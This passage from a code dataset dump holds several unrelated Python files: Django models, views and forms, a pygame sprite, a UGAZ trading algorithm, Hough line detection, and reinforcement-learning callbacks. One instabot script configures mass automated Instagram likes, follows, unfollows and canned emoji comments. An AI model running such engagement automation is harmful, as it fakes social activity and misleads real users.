UserManager()\n\n USERNAME_FIELD = 'username'\n REQUIRED_FIELDS = [\n 'cpf',\n 'email',\n ]\n\n class Meta:\n verbose_name = 'colaborador' # Translation not found to 'colaborador'\n verbose_name_plural = 'colaboradores' # Translation not found to 'colaboradores'\n\n def __unicode__(self):\n return self.username\n\n def get_short_name(self):\n return self.first_name","sub_path":"dashboardsus/apps/accounts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"479401342","text":"from datetime import datetime, time\n\ngenerator = (line.split(\" \")[3].lstrip(\"[\") for line in open('/etc/httpd/logs/access_log'))\n\ndef calculateseconds():\n while True:\n tm = datetime.strptime(next(generator), \"%d/%b/%Y:%H:%M:%S\").time()\n seconds = tm.hour * 3600 + tm.minute * 60 + tm.second\n yield seconds\n\nfor i in range(10):\n print(next(calculateseconds()))\n\n","sub_path":"homework/homework5/peer_review_hw5/6g.py","file_name":"6g.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"449405182","text":"import pygame\nfrom man import Man\nfrom utils import scrpos\n\n\nclass Otherplayer(Man):\n def update(self):\n self.updatecolor()\n\n if self.redraw():\n self.image = self.original\n try:\n pygame.draw.circle(self.image, (self.rcolor, self.gcolor, self.bcolor), (int(self.origwidth/2), int(self.origheight/2)), int(self.origwidth*0.4 + 1), 0)\n except:\n None\n #dont understnad why this is needed\n self.image = pygame.transform.scale(self.image, (int(self.scale), int(self.height()))) #sadly locks everyhting to being squares\n\n if self.timesinceupdate != 0: #incase the server is slow\n self.x += self.xv*self.t\n self.y += self.yv*self.t\n self.timesinceupdate += 1\n self.rect = self.image.get_rect()\n self.rect.center = scrpos(self.x, self.y)\n","sub_path":"core/otherplayer.py","file_name":"otherplayer.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"486608888","text":"\"\"\"\nUGAZ test v5: Building on v4: \nParameters set 1: (2017-01-01 - 2017-09-21, 128%, -13%, 68 / 110, 62%)\n (2016-01-01 - 2016-12-31, 10%, -31%, 87 / 153, 56%)\n 2015 performance is even worse.\n context.bat = 5 # buy after tick -- enter after 5 minutes\n context.bid = 3 # buy if diff -- enter if opening price pct diff >= 3%\n context.sol = 10000 # sell on loss -- DO NOT sell on loss\n context.qop = None # quit on profit -- DO NOT quit on profit\n context.reenter = True # re-renter after sell -- Reenter if sold.\n \nParameters set 2: (2017-01-01 - 2017-09-21, 69.43%, -24.74%, 64 / 104, 61.54)\n context.bat = 5 # buy after tick\n context.bid = 3 # buy if diff\n context.sol = 1000 # sell on loss\n context.qop = None # quit on profit\n context.reenter = True # re-renter after sell\n \nPointers: Use simple avg / moving avg / exp moving avg, instead of raw values, at t = 5\n Use streaming entry\n\"\"\"\n\n\ndef initialize(context):\n set_benchmark(sid(8554)) # bench mark is SPY\n \n # reset at sod\n context.tick = 0\n context.cash_at_sod = 0\n context.cost_of_buys = 0\n context.state = \"out\"\n context.order_id = None\n context.day_trading_limit = 0\n context.nop_day = False\n context.msg_list = []\n context.long_prices = []\n context.short_prices = []\n context.porv_at_sod = None\n context.pdcp = None # previous day closing price\n context.max_neg = None\n context.time_of_sell = None\n context.traded = None\n \n # never reset\n context.bat = 5 # buy after tick\n context.bid = 3 # buy if diff\n context.sol = 10000 # sell on loss\n context.qop = None # quit on profit\n context.reenter = True # re-renter after sell\n \n #context.last_simulation_date = \"2017-09-21\"\n #context.last_simulation_date = \"2016-12-30\"\n context.last_simulation_date = \"2016-12-31\"\n context.max_neg_on_profit_day = 0\n context.num_same_day_sells = 0\n context.num_later_sells = 0\n context.num_days_traded = 0\n context.num_profit_days = 0\n context.num_loss_days = 0\n context.pps68 = 0.40\n context.porvs = []\n context.lcp = []\n context.lop = []\n context.scp = []\n context.sop = []\n context.interval = 30\n context.prev_close_vxx = None\n context.profit_list = []\n context.last_days_profit = None\n context.last_days_selection = None\n context.LONG = symbol('UGAZ')\n context.SHORT = symbol('DGAZ')\n context.sum_negative = 0\n context.max_negative = 0\n context.long_negative_sum = 0\n context.long_positive_sum = 0\n schedule_function(last_minute,\\\n date_rules.every_day(), \\\n time_rules.market_close()\\\n )\n #schedule_function(force_sell,\\\n # date_rules.every_day(), \\\n # time_rules.market_close(hours=0, minutes=10)\\\n # )\n\n \n\ndef cancel_limit_sell(context):\n if context.state == \"placed:limit:out\" and context.order_id is not None:\n cancel_order(context.order_id)\n context.state = \"placed:cancelled\"\n\ndef last_minute(context, data):\n # Check if there were any buys today\n if context.traded == True:\n context.num_days_traded += 1\n \n # Check if this is the last date of the simulation. If yes, print variables\n if get_datetime(\"US/Pacific\").date().isoformat() == context.last_simulation_date:\n # Compute the success rate\n sr = 0\n if context.num_days_traded > 0:\n sr = float(context.num_profit_days) * 100 / context.num_days_traded\n log.info(\"LAST MINUTE: Max Neg on Profit Days: %s\" % str(context.max_neg_on_profit_days))\n log.info(\"LAST MINUTE: Num days traded : %s\" % str(context.num_days_traded))\n log.info(\"LAST MINUTE: Num profit days : %s\" % str(context.num_profit_days))\n log.info(\"LAST MINUTE: Num loss days : %s\" % str(context.num_loss_days))\n log.info(\"LAST MINUTE: Success Rate : %s\" % str(round(sr, 2)))\n\ndef market_buy(context, which, cti):\n if (context.cost_of_buys + cti) >= context.day_trading_limit:\n return False\n stock = gsfw(context, which)\n context.state = \"placed:in-%s\" % which\n context.cost_of_buys += cti\n context.order_id = order_value(stock, cti)\n context.traded = True\n return True\n\ndef market_sell(context):\n stock = None\n if context.state == \"in-short\":\n stock = context.SHORT\n elif context.state == \"in-long\":\n stock = context.LONG\n if stock is None:\n log.error(\"Market sell called when no stock is purchased\")\n quit(1)\n else:\n context.order_id = order_target(stock, 0)\n context.state = \"placed:market:out\"\n context.traded = True\n\ndef limit_sell(context, pps):\n stock = None\n if context.state == \"in-short\":\n stock = context.SHORT\n elif context.state == \"in-long\":\n stock = context.LONG\n if stock is None:\n log.error(\"Limit sell called when no stock is purchased\")\n quit(1)\n else:\n context.order_id = order_target(stock, 0, style=LimitOrder(pps))\n context.state = \"placed:limit:out\"\n context.traded = True\n\n \n\ndef check_order_update_state(context):\n if context.order_id is not None:\n order_obj = get_order(context.order_id)\n if order_obj.status == 1 or order_obj.status == 2:\n target_state = context.state.split(\":\")[-1]\n context.state = target_state\n context.order_id = None\n if order_obj.status == 1:\n log.info(\"ORDER COMPLETED: asked=%s, lu=%s, su=%s\" % \\\n (str(order_obj.amount),\\\n str(context.portfolio.positions[context.LONG].amount),\\\n str(context.portfolio.positions[context.SHORT].amount))\\\n )\n else:\n log.info(\"ORDER CANCELLED\")\n return True\n else:\n return False\n return True \n\ndef eod(context, data):\n if context.porv_at_sod is not None: # True when invoked at the beg of the second day onwards\n porv = context.portfolio.portfolio_value\n posv = context.portfolio.positions_value\n \n context.last_days_profit = porv - context.porv_at_sod\n if context.last_days_profit < 0:\n context.num_loss_days += 1\n elif context.last_days_profit > 0:\n context.num_profit_days += 1\n if context.max_neg > context.max_neg_on_profit_day:\n context.max_neg_on_profit_days = context.max_neg \n log.info(\"EOD: profit:%s, max_neg:%s\" % \\\n (str(context.last_days_profit), str(context.max_neg))) \n # Check if any carry over from previous day. If yes, set up state correctly\n if posv > 0:\n context.state = \"in-%s\" % context.last_days_selection\n else:\n context.state = \"out\"\n\ndef before_trading_start(context, data):\n # Execute last days end_of_day method\n eod(context, data)\n \n # Variables to be reset daily\n context.traded = False # if any trade was done today\n context.pdcp = data.history(context.LONG, ['price'], 1, '1d').values[0] # prev day lng op price\n context.long_prices = [] # array to record today's long prices\n context.short_prices = [] # array to record today's short prices\n context.tick = 0 # today's minute counter\n context.cash_at_sod = context.portfolio.cash # cash at start of day today\n context.porv_at_sod = context.portfolio.portfolio_value # portfolio value at sod today\n context.cost_of_buys = 0 # cost of all buys today\n context.order_id = None # no order ids live overnight\n context.day_trading_limit = 4 * context.cash_at_sod # set todays max buy capability\n context.nop_day = False # flag to track if today is a tradable day\n context.max_neg = 0 # maximum loss seen today\n\n # Print status at start of day\n log.info(\"DAY START: state=%s, lu=%s, su=%s\" % \\\n (str(context.state), str(context.portfolio.positions[context.LONG].amount), \\\n str(context.portfolio.positions[context.SHORT].amount)))\n \n\ndef gsfw(context, which):\n if which != \"long\" and which != \"short\":\n log.error(\"which is neither long nor short at gsfw, which = %s\" % str(which))\n quit(1)\n stock = context.LONG if which == \"long\" else context.SHORT\n return stock\n\ndef handle_data(context, data):\n \n # Check if we can trade today\n if context.nop_day:\n return\n if not (data.can_trade(context.LONG) and data.can_trade(context.SHORT)): \n log.error(\"Cant trade UGAZ and DGAZ on this date\")\n context.nop_day = True\n return\n \n # Now we are in a tradable day. Keep count of minutes\n context.tick += 1\n \n # The LONG price and loss at this minute\n cur_ppu = data.current(context.LONG, 'price')\n cur_porv = context.portfolio.portfolio_value\n loss_now = context.porv_at_sod - cur_porv\n if context.max_neg < loss_now:\n context.max_neg = loss_now # maximum loss seen today\n \n # Dont do anything else if necessary profit has been made as of today\n if context.qop is not None and context.state == \"out\" and loss_now <= -context.qop:\n return\n \n if context.tick == 1:\n # Record current day opening price of LONG at the first minute\n context.cdop = cur_ppu\n if context.state.startswith(\"in\"): # Sell if any carry over from previous day\n market_sell(context) \n\n elif (\\\n (context.tick == context.bat or \n (context.tick > context.bat and context.reenter == True)\n ) and \\\n context.state == \"out\"\\\n ):\n # First buy at \"buy_at_time\", or next buys if re-rentry is enabled\n if context.state == \"out\":\n cp = cur_ppu\n d = (context.cdop - context.pdcp) * 100 / context.pdcp # LONG open pct diff\n context.which = \"NA\"\n if d >= context.bid:\n if cp > context.cdop:\n context.which = \"long\"\n elif cp < context.cdop:\n context.which = \"short\"\n elif d <= -context.bid:\n if cp < context.cdop:\n context.which = \"short\"\n elif cp > context.cdop:\n context.which = \"long\"\n if (context.which == \"long\" or context.which == \"short\"):\n context.last_days_selection = context.which\n market_buy(context, context.which, context.portfolio.cash)\n\n # Place limit sell\n elif context.state.startswith(\"in\"):\n stock = context.LONG if context.which == \"long\" else context.SHORT\n p = context.portfolio.positions[stock].cost_basis\n pps = (context.pps68 / 68) * p\n log.info(\"PLacing limit sell at pps = %s\" % str(round(pps, 2)))\n limit_sell(context, p + pps)\n \n # Check if last placed order is completed\n elif context.state.startswith(\"placed\"):\n check_order_update_state(context)\n # If limit order not yet filled, and loss threshold crossed, then cancel limit sell\n if context.state == \"placed:limit:out\" and loss_now >= context.sol:\n log.info(\"Cancelling limit sell as loss = %s\" % str(loss_now))\n cancel_limit_sell(context)\n\n # Only limit sells can be cancelled, and if cancelled, place market_sell\n elif context.state == \"cancelled\":\n log.info(\"Limit Sell cancelled. Now placing market sell\")\n context.state = \"in-%s\" % context.which\n market_sell(context)\n \n \n","sub_path":"quantopian_notebooks_and_algos/algos/ugaz_test_v5.py","file_name":"ugaz_test_v5.py","file_ext":"py","file_size_in_byte":11714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"416520259","text":"#!/usr/bin/env python2\n\"\"\"\nAuthored Yoonyoung Cho @ 03/29/2018\n\nThe objective of LinesFinder is to deal with thick-lines problem,\nwhere a width of single line may not be presented as a single pixel,\nand it may be difficult to pre-determine the thickness of the line.\nThis introduces an instability where each detection would be sensitive to erosion.\n\"\"\"\n\nfrom argparse import ArgumentParser\nfrom abc import ABCMeta, abstractmethod\nimport cv2\nimport numpy as np\n\n\"\"\" Utility Functions \"\"\"\ndef l2rt(line):\n \"\"\" (x1,y1,x2,y2) -> (rho,theta) \"\"\"\n x0,y0 = 0,0\n x1,y1,x2,y2 = line\n rho = -x2*y1 + y2*x1\n rho /= np.sqrt((x2-x1)**2 + (y2-y1)**2)\n theta = np.arctan2(x1-x2, y2-y1)\n return rho, theta\n\ndef rt2l(rt, scale=1000):\n \"\"\" (rho,theta) -> (x1,y1,x2,y2) \"\"\"\n rho, theta = rt\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a*rho\n y0 = b*rho\n x1 = int(x0 + scale*(-b))\n y1 = int(y0 + scale*(a))\n x2 = int(x0 - scale*(-b))\n y2 = int(y0 - scale*(a))\n return x1,y1,x2,y2\n\ndef rtclose(rt1, rt2,\n r_thresh = 10.0,\n t_thresh = np.deg2rad(5.0)\n ):\n \"\"\" compare lines in rho-theta space \"\"\"\n r1,t1 = rt1\n r2,t2 = rt2\n return (abs(r1-r2) List of Lines as [(x1,y1,x2,y2)] \"\"\"\n pass\n\nclass HoughLinesFinder(LinesFinder):\n \"\"\" Find lines via cv2.HoughLines() \"\"\"\n def __init__(self, rho, theta, threshold, ksize):\n self._rho = rho\n self._theta = theta\n self._threshold = threshold\n self._ksize = (ksize, ksize)\n self._kernel = cv2.getStructuringElement(cv2.MORPH_ERODE, self._ksize)\n super(HoughLinesFinder, self).__init__()\n\n def merge(self, lines):\n \"\"\"\n Average nearby lines in (rho, theta) coordinates.\n lines(rt) -> lines(rt)\n \"\"\"\n if lines is None:\n return None\n\n lines2 = []\n while len(lines)>0:\n n = 1\n\n # reference\n l0 = lines.pop(0)\n r0, t0 = l0\n rTotal = l0[0]\n tTotal = l0[1]\n\n # compare + filter\n for line in lines:\n r, t = line\n if rtclose((r0,t0), (r,t), r_thresh=20.0):\n n+=1\n rTotal+=r\n tTotal+=t\n lines.remove(line)\n lines2+=[(rTotal/float(n), tTotal/float(n))]\n return lines2\n\n def __call__(self, img):\n \"\"\" Binary Image -> List of Lines as [(x1,y1,x2,y2)] \"\"\"\n rho, theta = self._rho, self._theta\n threshold = self._threshold\n kernel = self._kernel\n\n img = cv2.erode(img, kernel, iterations=1)\n canny = cv2.Canny(img, 0, 255)\n lines = cv2.HoughLines(canny,rho,theta,threshold)\n if lines is None:\n return None\n\n lines = np.squeeze(lines, axis=1)\n lines = self.merge(lines.tolist())\n #lines = [rt2l(rt) for rt in lines]\n return lines\n\nclass HoughLinesPFinder(LinesFinder):\n \"\"\" Find Lines via cv2.HoughLinesP() \"\"\"\n def __init__(self, rho, theta,\n threshold,\n min_length,\n max_gap):\n self._rho = rho\n self._theta = theta\n self._threshold = threshold\n self._min_length = min_length\n self._max_gap = max_gap\n super(HoughLinesPFinder, self).__init__()\n\n def merge(self, lines):\n \"\"\"\n Convert lines to rho-theta space,\n then merge neighboring lines.\n lines (xyxy) -> lines (xyxy)\n \"\"\"\n n = len(lines)\n rts = [l2rt(l) for l in lines]\n skip = []\n res = []\n for i in range(n):\n rt_acc = [rts[i]]\n\n # check merged\n if i in skip:\n continue\n skip.append(i)\n\n # process remainder\n for j in range(i+1,n):\n # check merged\n if j in skip:\n continue\n if rtclose(rts[i], rts[j]):\n skip.append(j)\n rt_acc.append(rts[j])\n\n rt_acc = np.asarray(rt_acc)\n\n # convert to line\n r = np.mean(rt_acc[:,0])\n\n # take cyclic mean, for robustness\n #t = np.mean(rt_acc[:,1])\n s = np.sum(np.sin(rt_acc[:,1]))\n c = np.sum(np.cos(rt_acc[:,1]))\n t = np.arctan2(s, c)\n\n res.append(rt2l((r,t)))\n return res\n\n def __call__(self, img):\n \"\"\" Binary Image -> List of Lines as [(x1,y1,x2,y2)] \"\"\"\n rho, theta = self._rho, self._theta\n threshold = self._threshold\n min_length = self._min_length\n max_gap = self._max_gap\n lines = cv2.HoughLinesP(img,\n rho, theta, threshold,\n minLineLength=min_length,\n maxLineGap=max_gap)\n\n if lines is not None:\n lines = np.squeeze(lines, axis=1)\n lines = self.merge(lines)\n lines = [l2rt(l) for l in lines]\n\n return lines\n\ndef getmask(frame, lo=200, hi=255, min_ctr=200):\n orig = np.copy(frame)\n frame = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY)\n\n # Load image\n shape = frame.shape\n height = shape[0]\n width = shape[1]\n\n # Color filtering\n lower = np.array([lo])\n upper = np.array([hi])\n mask = cv2.inRange(frame, lower, upper)\n frame = cv2.bitwise_and(frame, frame, mask=mask)\n\n # TODO : this method fattens the lines.\n # @(superduperpacman) other methods to filter out small particles?\n # Filter out small particles\n #im2, contours, hierarchy = cv2.findContours(frame, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n #filter(lambda x:len(x)>min_ctr, contours)\n #cv2.drawContours(frame, contours, -1, 255, 3)\n return frame\n\nclass LinesApp(object):\n def __init__(self, img, scale=1.0, resolution=100, max_scale=2.0):\n self._img = img\n self._mask = getmask(img)\n self._img1 = img\n self._img2 = img\n self._scale = scale\n self._res = resolution\n self._max_scale = max_scale\n rint = lambda x : int(np.round(x))\n\n cv2.namedWindow('image')\n cv2.createTrackbar('scale', 'image', rint(self._res*self._scale),\n rint(self._res*self._max_scale), lambda s:self.proc(self.v2s(s)))\n\n def v2s(self, value):\n \"\"\" trackbar value --> scale \"\"\"\n return float(value)/self._res\n\n def proc(self, scale):\n img = self._img\n print('Current Scale : {}'.format(scale))\n img = cv2.resize(img, (0,0), fx=scale, fy=scale)\n\n # convert to binary\n mask = getmask(img)\n #mask = cv2.inRange(img, \n # np.asarray([200,200,200]), \n # np.asarray([255,255,255]))\n h,w = img.shape[:2]\n\n # parametrization\n rho = 1.0 #distance resolution\n theta = np.deg2rad(1.0) #360\n threshold = 80 #???\n min_length = 0.25 * min(w,h)#pixels?\n max_gap = 10 #pixels?\n ksize = 5\n\n finder1 = HoughLinesFinder(rho, theta, threshold, ksize)\n finder2 = HoughLinesPFinder(rho, theta, threshold, min_length, max_gap)\n\n lines1 = finder1(mask)\n lines2 = finder2(mask)\n\n img1 = img.copy()\n img2 = img.copy()\n\n if lines1 is not None:\n # BLUE = HoughLinesFinder\n for line in lines1:\n x1,y1,x2,y2 = line\n cv2.line(img1, (x1,y1), (x2,y2), [255,0,0], 1)\n\n if lines2 is not None:\n # RED = HoughLinesPFinder\n for line in lines2:\n x1,y1,x2,y2 = line\n cv2.line(img2, (x1,y1), (x2,y2), [0,0,255], 1)\n\n self._mask = mask\n self._img1 = img1\n self._img2 = img2\n\n def run(self):\n # Log\n print(\"BLUE (img1) : HoughLinesFinder()\")\n print(\"RED (img2) : HoughLinesPFinder()\")\n self.proc(self._scale)\n\n while True:\n k = cv2.waitKey(10)\n if k == 27:\n break\n cv2.imshow('image', self._img)\n cv2.imshow('mask', self._mask)\n cv2.imshow('img1', self._img1)\n cv2.imshow('img2', self._img2)\n\ndef main():\n parser = ArgumentParser()\n parser.add_argument('file', type=str)\n args = parser.parse_args()\n\n img = cv2.imread(args.file)\n if img is None:\n print(\"Error : Specified Input File \\\"{}\\\" is invalid.\".format(args.file))\n parser.print_usage()\n else:\n app = LinesApp(img)\n app.run()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"iarc_vision/src/iarc_vision/lines_finder.py","file_name":"lines_finder.py","file_ext":"py","file_size_in_byte":8782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"470691676","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.http import request\nfrom blog.models import Article\n\nfrom .models import Comment\nfrom .forms import CommentForm\n\n# Create your views here.\n\n\ndef post_comment(request, article_pk):\n article = get_object_or_404(Article, pk=article_pk)\n if request.method == 'POST':\n form = CommentForm(request.POST)\n if form.is_valid():\n # create the instance of Comment according to form without storing into database\n comment = form.save(commit=False)\n comment.article = article\n # now save the instance into database\n comment.save()\n return redirect(article)\n else:\n comment_list = article.comment_set.all()\n context = {\n 'article':article,\n 'form':form,\n 'comment_list':comment_list\n }\n return render(request, 'blog/detail.html', context=context)\n \n\n else:\n redirect(article)\n","sub_path":"blogproject/comments/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"298082764","text":"from django import forms\nfrom django.forms import ModelForm\n\n\nclass FormIssue(ModelForm):\n\n class Meta:\n from .models import Issues\n\n model = Issues\n fields = ['name', 'file_location']\n widgets = {\n 'name': forms.Textarea(attrs={\n 'placeholder': 'Issue name',\n 'class': 'form-control',\n 'ng-model': 'name',\n 'rows': 3,\n }),\n 'file_location': forms.FileInput(attrs={\n 'placeholder': 'Attach a file',\n 'class': 'form-control',\n 'ng-model': 'file_location',\n }),\n }\n labels = {\n 'name': \"Issue name\",\n 'description': \"Description of issues\",\n 'file_location': \"Attach a file\",\n }\n\n\nclass FormDirective(ModelForm):\n\n class Meta:\n from .models import Directive\n\n model = Directive\n fields = ['issue', 'directive', 'recipient', 'c_status', 'deadline', 'file_location']\n widgets = {\n 'issue': forms.Select(attrs={\n 'placeholder': 'Select issue',\n 'class': 'form-control',\n 'ng-model': 'issue',\n }),\n 'directive': forms.Textarea(attrs={\n 'placeholder': 'Enter directive',\n 'class': 'form-control',\n 'ng-model': 'directive',\n }),\n 'owner': forms.Select(attrs={\n 'placeholder': '',\n 'class': 'rs-selectize',\n 'ng-model': 'owner',\n 'data-init-plugin': 'select2',\n }),\n 'recipient': forms.Select(attrs={\n 'placeholder': '',\n 'class': 'rs-selectize',\n 'ng-model': 'recipient',\n 'data-init-plugin': 'select2',\n }),\n 'deadline': forms.TextInput(attrs={\n 'placeholder': 'Select deadline for this directive',\n 'class': 'form-control rs-datepicker',\n 'ng-model': 'deadline',\n }),\n 'c_status': forms.Select(attrs={\n 'placeholder': '',\n 'class': 'rs-selectize',\n 'ng-model': 'c_status',\n 'data-init-plugin': 'select2',\n }),\n 'file_location': forms.FileInput(attrs={\n 'placeholder': 'Attach a file',\n 'class': 'form-control',\n 'ng-model': 'file_location',\n }),\n }\n labels = {\n 'issue': \"Select issue\",\n 'directive': \"Directive\",\n 'recipient': \"Recipient of directive\",\n 'deadline': \"Deadline for directive\",\n 'c_status': \"Status\",\n 'file_location': \"Attach a file\",\n }\n\n\nclass FormDirectiveResponse(ModelForm):\n\n class Meta:\n from .models import DirectiveStatus\n\n model = DirectiveStatus\n fields = ['remark', 'c_status']\n widgets = {\n 'remark': forms.Textarea(attrs={\n 'placeholder': 'Enter response to directive',\n 'class': 'form-control',\n 'ng-model': 'remark',\n }),\n 'c_status': forms.Select(attrs={\n 'placeholder': '',\n 'class': 'full-width',\n 'ng-model': 'c_status',\n 'data-init-plugin': 'select2',\n }),\n }\n labels = {\n 'remark': \"Status update on directive\",\n 'c_status': \"Status\",\n }\n","sub_path":"src/directive/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"444998670","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\nfrom instabot_py import InstaBot\r\n\r\nbot = InstaBot(\r\n login=\"\",\r\n password=\"\",\r\n like_per_day=7019,\r\n comments_per_day=197,\r\n tag_list=[\"aviation\", \"sky\", \"avgeek\", \"aviationlovers\", \"boeing\", \"aircraft\", \"pilot\", \"airplane\" ,\"plane\" ,\"fly\" ,\"travel\",\"flight\",\"airport\" ,\"aviationphotography\", \"instagramaviation\"\r\n ,\"airbus\" ,\"pilotlife\", \"flying\", \"instaaviation\" ,\"aviationgeek\", \"planespotting\"\r\n ,\"aviationdaily\" ,\"photography\", \"instaplane\", \"instagood\", \"planes\", \"love\", \"bhfyp\",\"jet\", \"crewlife\" ,\"photooftheday\" ,\"clouds\", \"b\", \"cabincrew\" ,\"follow\" ,\"megaplane\", \"airline\" ,\"instagram\"\r\n ,\"lovers\" , \"landing\" ,\"pilots\", \"cessna\", \"airforce\", \"takeoff\", \"beautiful\" ,\"avporn\" ,\"planespotter\" ,\"military\", \"usa\" , \"sun\", \"crew\", \"boeinglovers\", \"picoftheday\",\"flightattendant\" ,\"instatravel\"\r\n , \"avgeek\", \"aviation\", \"aircraft\", \"airplane\", \"boeing\", \"avporn\", \"instaplane\", \"pilot\", \"megaplane\", \"plane\", \"instaaviation\", \"airport\", \"airbus\", \"aviationlovers\", \"planeporn\", \"planespotting\", \"flying\", \"aviationphotography\", \"boeinglovers\",\"pilotlife\"\r\n , \"flight\", \"aviationgeek\", \"planespotter\", \"fly\", \"crewlife\",\"sky\", \"spotting\", \"travel\", \"planes\", \"instapilot\"],\r\n tag_blacklist=['rain', 'thunderstorm'],\r\n user_blacklist={},\r\n max_like_for_one_tag=50,\r\n follow_per_day=402,\r\n follow_time=1 * 30,\r\n unfollow_per_day=402,\r\n unfollow_break_min=5,\r\n unfollow_break_max=20,\r\n log_mod=0,\r\n proxy='',\r\n # List of list of words, each of which will be used to generate comment\r\n # For example: \"This shot feels wow!\"\r\n comment_list=[[\"🤞\",\"🙏\",\"✌️\"],\r\n ['❤️','💜','💚','💙',\"🧡\",\"💛\"]\r\n ],\r\n # Use unwanted_username_list to block usernames containing a string\r\n # Will do partial matches; i.e. 'mozart' will block 'legend_mozart'\r\n # 'free_followers' will be blocked because it contains 'free'\r\n unwanted_username_list=[\r\n \"second\",\r\n \"stuff\",\r\n \"art\",\r\n \"project\",\r\n \"love\",\r\n \"life\",\r\n \"food\",\r\n \"blog\",\r\n \"free\",\r\n \"keren\",\r\n \"graphy\",\r\n \"indo\",\r\n \"art\",\r\n \"shop\",\r\n \"store\",\r\n \"sex\",\r\n \"toko\",\r\n \"jual\",\r\n \"online\",\r\n \"murah\",\r\n \"jam\",\r\n \"kaos\",\r\n \"case\",\r\n \"baju\",\r\n \"fashion\",\r\n \"corp\",\r\n \"tas\",\r\n \"butik\",\r\n \"grosir\",\r\n \"karpet\",\r\n \"sosis\",\r\n \"salon\",\r\n \"skin\",\r\n \"care\",\r\n \"cloth\",\r\n \"tech\",\r\n \"rental\",\r\n \"kamera\",\r\n \"beauty\",\r\n \"express\",\r\n \"kredit\",\r\n \"collection\",\r\n \"impor\",\r\n \"preloved\",\r\n \"follow\",\r\n \"follower\",\r\n \"gain\",\r\n \".id\",\r\n \"_id\",\r\n \"bags\",\r\n ],\r\n unfollow_whitelist=[\"example_user_1\", \"example_user_2\"],\r\n # Enable the following to schedule the bot. Uses 24H\r\n # end_at_h = 23, # Hour you want the bot to stop\r\n # end_at_m = 30, # Minute you want the bot stop, in this example 23:30\r\n # start_at_h = 9, # Hour you want the bot to start\r\n # start_at_m = 10, # Minute you want the bot to start, in this example 9:10 (am).\r\n)\r\n\r\nbot.mainloop()\r\n","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":3450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"155310373","text":"# Copyright (c) 2018, The SenseAct Authors.\n# All rights reserved.\n#\n# This source code is licensed under the BSD-style license found in the\n# LICENSE file in the root directory of this source tree.\nimport os\nimport builtins\nimport tempfile, zipfile\nimport numpy as np\n\n\ndef create_callback(shared_returns, save_model_basepath, load_model_path=None):\n builtins.shared_returns = shared_returns\n builtins.save_model_basepath = save_model_basepath\n builtins.load_model_path = load_model_path\n\n def kindred_callback(locals, globals):\n import tensorflow as tf\n saver = tf.train.Saver()\n\n shared_returns = globals['__builtins__']['shared_returns']\n savebasepath = globals['__builtins__']['save_model_basepath']\n if locals['iters_so_far'] == 0:\n loadpath = globals['__builtins__']['load_model_path']\n if loadpath is not None:\n saver.restore(tf.get_default_session(), loadpath)\n else:\n ep_rets = locals['seg']['ep_rets']\n ep_lens = locals['seg']['ep_lens']\n ep_ss = locals['seg']['ep_ss']\n if len(ep_rets):\n if not shared_returns is None:\n shared_returns['write_lock'] = True\n shared_returns['episodic_returns'] += ep_rets\n shared_returns['episodic_lengths'] += ep_lens\n shared_returns['episodic_ss'] += ep_ss\n shared_returns['write_lock'] = False\n np.save(savebasepath+'data/ep_lens',\n np.array(shared_returns['episodic_lengths']))\n np.save(savebasepath+'data/ep_rets',\n np.array(shared_returns['episodic_returns']))\n np.save(savebasepath+'data/ep_ss',\n np.array(shared_returns['episodic_ss']))\n fname = savebasepath+'/models/' + str(locals['iters_so_far']) + '.ckpt'\n saver.save(tf.get_default_session(), fname)\n return kindred_callback\n","sub_path":"create2-code/advanced/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"641776727","text":"# -*- coding: utf-8 -*-\n#\n# File: Bungeni.py\n#\n# Copyright (c) 2007 by []\n# Generator: ArchGenXML Version 1.6.0-beta-svn\n# http://plone.org/products/archgenxml\n#\n# GNU General Public License (GPL)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n# 02110-1301, USA.\n#\n\n__author__ = \"\"\"Jean Jordaan \"\"\"\n__docformat__ = 'plaintext'\n\n\nfrom Products.CMFCore.utils import getToolByName\nfrom Products.CMFCore.WorkflowTool import addWorkflowFactory\nfrom Products.DCWorkflow.DCWorkflow import DCWorkflowDefinition\nfrom Products.ExternalMethod.ExternalMethod import ExternalMethod\nfrom Products.Bungeni.config import *\n\n##code-section create-workflow-module-header #fill in your manual code here\n##/code-section create-workflow-module-header\n\n\nproductname = 'Bungeni'\n\ndef setupPoliticalGroupWorkflow(self, workflow):\n \"\"\"Define the PoliticalGroupWorkflow workflow.\n \"\"\"\n # Add additional roles to portal\n portal = 